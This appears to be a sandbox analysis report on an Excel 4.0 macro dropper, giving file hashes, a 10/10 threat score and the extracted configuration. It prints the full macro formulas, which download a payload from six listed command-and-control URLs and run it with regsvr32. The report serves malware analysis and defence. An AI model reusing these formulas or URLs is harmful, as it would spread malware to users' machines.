General

  • Target

    15cbaa7736ec541339578c38e4b590fd15c7082722c1a1f28a2394f6a0c85396

  • Size

    40KB

  • Sample

    241120-mkdfxavflb

  • MD5

    55143fcf136042f0faa21ad08cd3bd10

  • SHA1

    526093790dad8ce76df2651c4fa45074009a8064

  • SHA256

    15cbaa7736ec541339578c38e4b590fd15c7082722c1a1f28a2394f6a0c85396

  • SHA512

    37faa2698e077dbea94a7769b3ce4a771ee667627d944ae6ea9a0ec5734e9a5a5c4ec422a48521f529c2ac0d5bce0799492cb47248548a8632bf5987973ce5a1

  • SSDEEP

    768:9qhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:Ydom4DJwylND59V4jwmXc2CVf5Z

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/

http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/

http://techplanbd.xyz/qel424/RSz4/

http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/

https://deine-bewerbung.com/wp-content/TKXpk/

https://livejagat.com/h/L37tCM6ppS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://techplanbd.xyz/qel424/RSz4/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/TKXpk/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/L37tCM6ppS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/

xlm40.dropper

http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/

xlm40.dropper

http://techplanbd.xyz/qel424/RSz4/

Targets

    • Target

      15cbaa7736ec541339578c38e4b590fd15c7082722c1a1f28a2394f6a0c85396

    • Size

      40KB

    • MD5

      55143fcf136042f0faa21ad08cd3bd10

    • SHA1

      526093790dad8ce76df2651c4fa45074009a8064

    • SHA256

      15cbaa7736ec541339578c38e4b590fd15c7082722c1a1f28a2394f6a0c85396

    • SHA512

      37faa2698e077dbea94a7769b3ce4a771ee667627d944ae6ea9a0ec5734e9a5a5c4ec422a48521f529c2ac0d5bce0799492cb47248548a8632bf5987973ce5a1

    • SSDEEP

      768:9qhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:Ydom4DJwylND59V4jwmXc2CVf5Z

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks